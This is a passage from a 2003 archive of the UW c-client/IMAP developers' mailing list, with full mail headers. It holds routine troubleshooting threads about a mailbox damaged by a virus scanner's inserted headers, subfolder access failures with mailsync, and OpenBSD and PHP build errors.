TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 14 Feb 2003, Dirk Pape wrote: > if the attached mail is in a Unix-mailbox, the mailbox appears empty or > cannot be opened through uw-imapd. I tried two imap clients (Mulberry and > Horde/IMP-Webmail) to verify. Unfortunately, your bug report did not contain enough information to resolve the problem, or even to reproduce the problem. Please send a sample mailbox, containing the message, that you allege that UW imapd can't open. Also, please state what *version* of UW imapd has the problem. I built a mailbox with that message, and UW imapd had no problem opening it. For what it's worth, the message *is* damaged. It appears that your virus scanner software inserted the following lines in the middle of the Chinese-language Subject: line, and terminated the header at that point: X-Envelope-Sender: huyat@haoui.com X-Virus-Scanned: by AMaViS 0.3.12pre7-U12 [29421] (NAI-uvscan@math.fu-berlin.de) X-may-be-Spam: SpamAssassin: 10.4/5.0 X-Remote-IP: 61.146.225.15 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit The actual Chinese-language subject was: Subject: =?GB2312?B?0rXT4NTavNLW0LvyzfiwybeitefX09PKvP7Q+7SrzfjVvteswLTDv9TCyc/N?= =?GB2312?B?8tSqyMvD8bHS?= Note that there were *two* continuation lines, not one. Apparently your virus-checking software doesn't implement this part of RFC 2822 correctly. Since the Date: was at the other end of the damage, as was the correct Content-Type, the Chinese-language text would be misinterpreted. Perhaps IMP and Mulberry objected to 8-bit text being called "us-ascii". Otherwise, it looks like a perfectly valid Chinese language message, for whatever level of "valid" that spam can be. I'll be able to offer you more analysis if you can provide me with more data, but maybe what I've offered you here is a start. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Mon Feb 17 04:11:39 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 17 Feb 2003 04:11:39 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1HCBcTk008986 for ; Mon, 17 Feb 2003 04:11:38 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1HCBTnO017065 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 17 Feb 2003 04:11:30 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h1HCAkjm006060; Mon, 17 Feb 2003 04:10:46 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1HC7kh4027050 for ; Mon, 17 Feb 2003 04:07:46 -0800 Received: from smtp.uibk.ac.at (lmr1.uibk.ac.at [138.232.1.142]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1HC7gkq006950 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 17 Feb 2003 04:07:44 -0800 Received: from uibk.ac.at (pc33-c722.uibk.ac.at [138.232.72.48]) by smtp.uibk.ac.at (8.12.7/8.12.7/F1) with ESMTP id h1HC7f3m030588 for ; Mon, 17 Feb 2003 13:07:41 +0100 Message-Id: <3E50D08D.4F51D12F@uibk.ac.at> Date: Mon, 17 Feb 2003 13:07:41 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Wolfgang Sailer To: c-client@u.washington.edu Subject: Problems accessing subfolders MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: de X-Spam-Score: -0.4 () NOSPAM_INC,SPAM_PHRASE_00_01,USER_AGENT_MOZILLA_XM,X_ACCEPT_LANG X-Scanned-By: MIMEDefang 2.26 at uibk.ac.at (www . roaringpenguin . com / mimedefang) X-Uwash-Spam: Gauge=III, Probability=3%, Report="SIGNATURE_SHORT_DENSE, SPAM_PHRASE_00_01, X_ACCEPT_LANG, __EVITE_CTYPE" X-Uwash-Spam: Gauge=II, Probability=2%, Report="NOSPAM_INC, SPAM_PHRASE_00_01, USER_AGENT_MOZILLA_XM, X_ACCEPT_LANG, __EVITE_CTYPE, __HAS_X_MAILER" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi Folks! I have a linux (RedHat 8.0) box running at home and want to access the mailserver from my university (Innsbruck,Austria), but my linux-boxes imap client fails to SELECT subfolders. From my Windows Computer running Mozilla it is possible to access all submailfolders. Any ideas how to get it working? Here is some detailed information: Systems installed 1) On my RedHat Linux box the UW imap2001a is installed. It ships with RedHat 8.0 It keeps the inbox in /var/spool/mail/UID where UID is the user-id of the logged-in user and mailfolders in ~/mail/foldername e.g. ~/mail/Sent and subfolders in ~/mail/folder/foldername e.g. ~/mail/Archiv/Compaq 2) My university seems to be running imap-2002.RC2b-mbx-ssl on their mail servers, also from the UW, I suppose. It keeps the inbox in ~/INBOX and mailfolders in ~/Mail/foldername e.g. ~/Mail/Sent, ~/Mail/junkmail and subfolders in ~/Mail/folder/foldername e.g. ~/Mail/Archiv/Compaq (listings of the directories with full details see below "4") 3) The problem encountered: I use a programme called "mailsync" that uses the c-client.h file from my system (I compile it against this file). This programme uses the c-client.h to access 2 (or more) mailboxes on (different) imap-servers with the imap protocol to keep the mailboxes in synch (by performing EXPUNGE operations if a message has been expunged on either server, VERY useful when having only a dial-up connection). With the local c-client installation I can happily access the INBOX on the remote University Innsbruck (uibk) server and "top-level-mailfolders" (like ~/Mail/junkmail) but not submailfolders (like ~/Mail/Archiv/Compaq). The imap-client sees these folders (the mailsync programme can list all existing mailboxes) but thinks they are EMPTY, because it seems unable to open them with the SELECT function. Here's a log from my console on the linux box at home: The programme gives me errors like: --- [sulla@RedHatServer Archiv]$ mailsync -D local_uibk Synchronizing stores "uibk" <-> "local"... Authorizing against {mail.uibk.ac.at/imap} Archiv/Compaq: Error: SELECT failed: Can't open Archiv: not a selectable mailbox Error: SELECT failed: Can't open Archiv: not a selectable mailbox 0 remain. Error: IMAP protocol error: Command unrecognized: EXPUNGE Error: Command unrecognized: EXPUNGE Mails expunged Archiv/Linux: Error: SELECT failed: Can't open Archiv: not a selectable mailbox Error: SELECT failed: Can't open Archiv: not a selectable mailbox 0 remain. Error: IMAP protocol error: Command unrecognized: EXPUNGE Error: Command unrecognized: EXPUNGE Mails expunged [... continues for all remote ~/Mail/Archiv/* files] INBOX: 67 remain. Mails expunged Main Folder: 646 remain. Mails expunged Sent: 68 remain. Mails expunged junkmail: 3 remain. Mails expunged --- listing all existing mailboxes gives: ---- [sulla@RedHatServer Archiv]$ mailsync uibk Listing store "uibk" Authorizing against {mail.uibk.ac.at/imap} Archiv/Compaq Archiv/Linux Archiv/Mozilla Archiv/erhaltene Nachrichten Archiv/terra Australis INBOX Main Folder Sent junkmail [sulla@RedHatServer Archiv]$ ---- 4) the structure of my university mailserver: -------------- directory structure ------------- The directory '~' drwx------ 3 c72276 c722 1024 Jan 30 10:17 . drwxr-xr-x 71 root c102 1536 Jan 24 02:50 .. -rw------- 1 c72276 c722 1788978 Feb 8 18:56 INBOX drwx------ 4 c72276 c722 512 Feb 8 18:56 Mail and the directory '~/Mail': drwx------ 4 c72276 c722 512 Feb 8 18:56 . drwx------ 3 c72276 c722 1024 Jan 30 10:17 .. drwx------ 2 c72276 c722 512 Nov 25 09:51 Archiv -rw------- 1 c72276 c722 14948 Feb 7 15:26 junkmail -rw-r--r-- 1 c72276 c722 2538695 Feb 1 13:09 Main Folder -rw------- 1 c72276 c722 1745752 Feb 8 18:20 Sent and the subdirectory '~/Mail/Archiv' contains only files: drwx------ 2 c72276 c722 512 Nov 25 09:51 . drwx------ 4 c72276 c722 512 Feb 8 19:00 .. -rw------- 1 c72276 c722 22092 Feb 1 13:10 Compaq -rw-r--r-- 1 c72276 c722 324235 Nov 21 12:55 erhaltene Nachrichten -rw------- 1 c72276 c722 337451 Feb 5 22:58 Linux -rw------- 1 c72276 c722 28449 Jan 4 00:49 Mozilla -rw------- 1 c72276 c722 423413 Apr 1 2002 terra Australis ------------------------------- Does anybody know what could be the reason for this - apparently c-client - problem? Thank you, Greeinx Wolfgang -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Feb 17 18:42:18 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 17 Feb 2003 18:42:18 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1I2gHTk026974 for ; Mon, 17 Feb 2003 18:42:17 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1I2gCnO004727 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 17 Feb 2003 18:42:13 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h1I2fKjm037638; Mon, 17 Feb 2003 18:41:21 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1I2cfh4011244 for ; Mon, 17 Feb 2003 18:38:41 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1I2cafW020989 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 17 Feb 2003 18:38:36 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout4.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1I2cZq6007602; Mon, 17 Feb 2003 18:38:35 -0800 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.100.200]) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1I2cZFl017291 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT); Mon, 17 Feb 2003 18:38:35 -0800 Message-Id: Date: Mon, 17 Feb 2003 18:38:35 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Wolfgang Sailer Cc: c-client@u.washington.edu Subject: Re: Problems accessing subfolders In-Reply-To: <3E50D08D.4F51D12F@uibk.ac.at> References: <3E50D08D.4F51D12F@uibk.ac.at> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I think that the best way to fix your problem is to report the bugs in mailsync to its author and ask him to fix it. The c-client library is responding exactly to what mailsync is asking it to do; the problem is that mailsync is asking the wrong things. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Tue Feb 18 02:27:22 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 18 Feb 2003 02:27:22 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1IARLTk005653 for ; Tue, 18 Feb 2003 02:27:21 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1IARGWb006757 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 18 Feb 2003 02:27:17 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h1IAQYjm031068; Tue, 18 Feb 2003 02:26:34 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1IAODh4020356 for ; Tue, 18 Feb 2003 02:24:13 -0800 Received: from math.fu-berlin.de (leibniz.math.fu-berlin.de [160.45.40.10]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with SMTP id h1IAOBad002007 for ; Tue, 18 Feb 2003 02:24:11 -0800 Received: (qmail 11032 invoked by uid 9804); 18 Feb 2003 11:24:10 +0100 Received: from localhost (HELO math.fu-berlin.de) (127.0.0.1) by localhost with SMTP; 18 Feb 2003 11:23:59 +0100 Received: (Qmail 10909 invoked from network); 18 Feb 2003 11:23:58 +0100 Received: From eremix.inf.fu-berlin.de (HELO eremix) (160.45.113.36) by leibniz.math.fu-berlin.de with SMTP; 18 Feb 2003 11:23:58 +0100 Message-Id: <2147483647.1045567439@[10.0.255.35]> Date: Tue, 18 Feb 2003 11:23:59 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Dirk Pape To: Mark Crispin Cc: stucki@math.fu-berlin.de, c-client@u.washington.edu Subject: Re: message that prevents opening of a mailbox through wu-imapd (fwd) In-Reply-To: <20030218095931.GM887@leibniz.math.fu-berlin.de> References: <2147483647.1045214465@[10.0.255.35]> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Envelope-Sender: pape@inf.fu-berlin.de X-Virus-Scanned: by AMaViS 0.3.12pre7-U12 [10924] (NAI-uvscan@math.fu-berlin.de) X-Remote-IP: 160.45.113.36 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello Mark, --Am Dienstag, 18. Februar 2003 10:59 Uhr +0100 schrieb "Chr. v. Stuckrad" : > On Fri, Feb 14, 2003 at 09:57:10AM -0800, Mark Crispin wrote: >> UW imapd can't open. Also, please state what *version* of UW imapd has >> the problem. I built a mailbox with that message, and UW imapd had no >> problem opening it. > > The current version ist the one which came with came with > Pine4.50 and contains the Date: > * Date: 5 November 1990 > * Last Edited: 18 November 2002 I also attached a complete mailbox (gzipped), that cannot be opened via imap. I have to state, that it *can* be opened with pine directly working on the mailbox file and I am able to delete the message in it, so imapd and not only c_client must be involved. Hope this helps, Dirk. From pinedev@shivax2.cac.washington.edu Tue Feb 18 05:10:55 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 18 Feb 2003 05:10:54 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1IDAsTk010505 for ; Tue, 18 Feb 2003 05:10:54 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1IDAonO018830 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 18 Feb 2003 05:10:51 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h1IDA3jm011058; Tue, 18 Feb 2003 05:10:03 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1ID8eh4029746 for ; Tue, 18 Feb 2003 05:08:40 -0800 Received: from smtp.uibk.ac.at (lmr1.uibk.ac.at [138.232.1.142]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1ID8aae023933 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 18 Feb 2003 05:08:37 -0800 Received: from uibk.ac.at (pc33-c722.uibk.ac.at [138.232.72.48]) by smtp.uibk.ac.at (8.12.7/8.12.7/F1) with ESMTP id h1ID8Y3m028083 for ; Tue, 18 Feb 2003 14:08:34 +0100 Message-Id: <3E523052.B767B371@uibk.ac.at> Date: Tue, 18 Feb 2003 14:08:34 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Wolfgang Sailer To: c-client@u.washington.edu Subject: Problems accessing subfolders MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: de X-Spam-Score: -1.5 () NOSPAM_INC,QUOTED_EMAIL_TEXT,SIGNATURE_SHORT_DENSE,SPAM_PHRASE_00_01,USER_AGENT_MOZILLA_XM,X_ACCEPT_LANG X-Scanned-By: MIMEDefang 2.26 at uibk.ac.at (www . roaringpenguin . com / mimedefang) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi all! Concering the problem I described in my mail yesterday (I can access a mailservers subfolders from my Windows-computer but from my linux computer running imap-2001a I can only access TOP-LEVEL folders), it could be similar to the problem Dirk Pape reported (Tue, 18 Feb 2003). I will try to check whether I can access the submailfolders from my linux compter with a different programme. I will try to set up pine to access the remote system. I will report if that works or not. Personally I do not think the problem is with the mailsync programme, as Mark believes (see below), as other people report that programme to work correctly. Question: Can it be only a misconfiguration of imapd / c-client.h on my linux computer? Could it be re-configured with respect to accessing subfolders? Thanks, Wolfgang On Mon, 17 Feb 2003 I wrote: > I have a linux (RedHat 8.0) box running at home and want to access > the mailserver from my university (Innsbruck,Austria), but my > linux-boxes imap client fails to SELECT subfolders. From my Windows > Computer running Mozilla it is possible to access all submailfolders. > Any ideas how to get it working? Mark Crispin replied to this: > I think that the best way to fix your problem is to report the bugs > in mailsync to its author and ask him to fix it. The c-client > library is responding exactly to what mailsync is asking it to do; > the problem is that mailsync is asking the wrong things. > -- Mark -- -- "Wer sich an die 80er erinnern kann, der hat sie nicht erlebt." Falco -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Feb 18 13:59:51 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 18 Feb 2003 13:59:51 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1ILxlTk028249 for ; Tue, 18 Feb 2003 13:59:47 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1ILxeWb028001 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 18 Feb 2003 13:59:41 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h1ILwojm015036; Tue, 18 Feb 2003 13:58:51 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1ILuvh4028694 for ; Tue, 18 Feb 2003 13:56:57 -0800 Received: from pinkslip.excompany.com ([209.213.213.230]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1ILulM5014822 for ; Tue, 18 Feb 2003 13:56:53 -0800 Received: from netreveal.com (adsl-66-125-95-112.dsl.sntc01.pacbell.net [66.125.95.112]) by pinkslip.excompany.com (8.12.2/8.12.2) with ESMTP id h1ILrDQo005614 for ; Tue, 18 Feb 2003 13:53:13 -0800 (PST) Message-Id: <3E52ABCD.3020407@netreveal.com> Date: Tue, 18 Feb 2003 13:55:25 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Doug Dalton To: c-client@u.washington.edu Subject: Openbsd compile question MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-Uwash-Spam: Gauge=III, Probability=3%, Report="SIGNATURE_SHORT_DENSE, SPAM_PHRASE_00_01, X_ACCEPT_LANG, __EVITE_CTYPE" I am having a problem compiling c-client in the dist for imap-2002b with the make statement on openbsd 3.0 i386 (the extra flag are for Drac auth): make bso SSLTYPE=unix.nopwd SSLDIR=/usr CFLAGS=-DDRAC_AUTH EXTRALDFLAGS=-ldrac Building bundled tools... cd mtest;make make[2]: Entering directory `/home/ddalton/src/imap-2002b/mtest' `cat ../c-client/CCTYPE` -DDRAC_AUTH -c -o mtest.o mtest.c mtest.c:31: mail.h: No such file or directory mtest.c:32: osdep.h: No such file or directory mtest.c:33: rfc822.h: No such file or directory mtest.c:34: smtp.h: No such file or directory mtest.c:35: nntp.h: No such file or directory mtest.c:57: misc.h: No such file or directory mtest.c:91: linkage.c: No such file or directory make[2]: *** [mtest.o] Error 1 make[2]: Leaving directory `/home/ddalton/src/imap-2002b/mtest' make[1]: *** [bundled] Error 2 make[1]: Leaving directory `/home/ddalton/src/imap-2002b' make: *** [bso] Error 2 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Feb 18 14:15:56 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 18 Feb 2003 14:15:56 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1IMFoTk028969 for ; Tue, 18 Feb 2003 14:15:50 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1IMFenO004600 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 18 Feb 2003 14:15:43 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h1IMDxjm028380; Tue, 18 Feb 2003 14:13:59 -0800 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1IMD8h4020446 for ; Tue, 18 Feb 2003 14:13:08 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu7.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1IMD5HU026813 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 18 Feb 2003 14:13:05 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1IMCtFR020585; Tue, 18 Feb 2003 14:12:55 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1IMCtFl018194 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 18 Feb 2003 14:12:55 -0800 Message-Id: Date: Tue, 18 Feb 2003 14:12:56 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Doug Dalton Cc: c-client@u.washington.edu Subject: Re: Openbsd compile question In-Reply-To: <3E52ABCD.3020407@netreveal.com> References: <3E52ABCD.3020407@netreveal.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 18 Feb 2003, Doug Dalton wrote: > I am having a problem compiling c-client in the dist for imap-2002b with > the make statement on openbsd 3.0 i386 (the extra flag are for Drac auth): > > make bso SSLTYPE=unix.nopwd SSLDIR=/usr CFLAGS=-DDRAC_AUTH > EXTRALDFLAGS=-ldrac Your problem is caused by the command line redefinition of CFLAGS. Define EXTRACFLAGS instead. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Tue Feb 18 23:18:12 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 18 Feb 2003 23:18:12 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1J7IBTk012368 for ; Tue, 18 Feb 2003 23:18:12 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1J7I4Wb010894 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 18 Feb 2003 23:18:05 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h1J7HF09004826; Tue, 18 Feb 2003 23:17:15 -0800 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1J7GAh4023444 for ; Tue, 18 Feb 2003 23:16:10 -0800 Received: from pinkslip.excompany.com ([209.213.213.230]) by mxu7.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1J7G5HT027843 for ; Tue, 18 Feb 2003 23:16:09 -0800 Received: from netreveal.com (adsl-66-125-95-112.dsl.sntc01.pacbell.net [66.125.95.112]) by pinkslip.excompany.com (8.12.2/8.12.2) with ESMTP id h1J7CU9i014442 for ; Tue, 18 Feb 2003 23:12:30 -0800 (PST) Message-Id: <3E532EE0.80004@netreveal.com> Date: Tue, 18 Feb 2003 23:14:40 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Doug Dalton To: c-client@u.washington.edu Subject: C-Client and php4 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-Uwash-Spam: Gauge=III, Probability=3%, Report="SIGNATURE_SHORT_DENSE, SPAM_PHRASE_00_01, X_ACCEPT_LANG, __EVITE_CTYPE" I have php-4.3.1 runnning currently DSO with apache 1.3.27 on openbsd 3.0, php-4.3.1 will not build libphp4.so with c-client using the command line options: ./configure --with-mysql --with-apxs=/usr/local/apache/bin/apxs --enable-track-vars --with-xml --with-imap=/usr/local/imap-2002b --with-imap-ssl --with-gettext but will build and install with: ./configure --with-mysql --with-apxs=/usr/local/apache/bin/apxs --enable-track-vars --with-xml --with-gettext imap-2002b is installed and working fine but I get the error in my php build: Installing PHP CLI binary: /usr/local/bin/ Installing PHP SAPI module [activating module `php4' in /usr/local/apache/conf/httpd.conf] cp libs/libphp4.so /usr/local/apache/libexec/libphp4.so cp: libs/libphp4.so: No such file or directory apxs:Break: Command failed with rc=1 make: *** [install-sapi] Error 1 but libs contains two libraries: libs> ls libphp4.a libphp4.la Any idea why php will not build with c-client? Doug -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Feb 19 07:44:19 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 19 Feb 2003 07:44:19 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1JFiJTk027518 for ; Wed, 19 Feb 2003 07:44:19 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1JFiFWb022612 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 19 Feb 2003 07:44:16 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h1JFhDjm004920; Wed, 19 Feb 2003 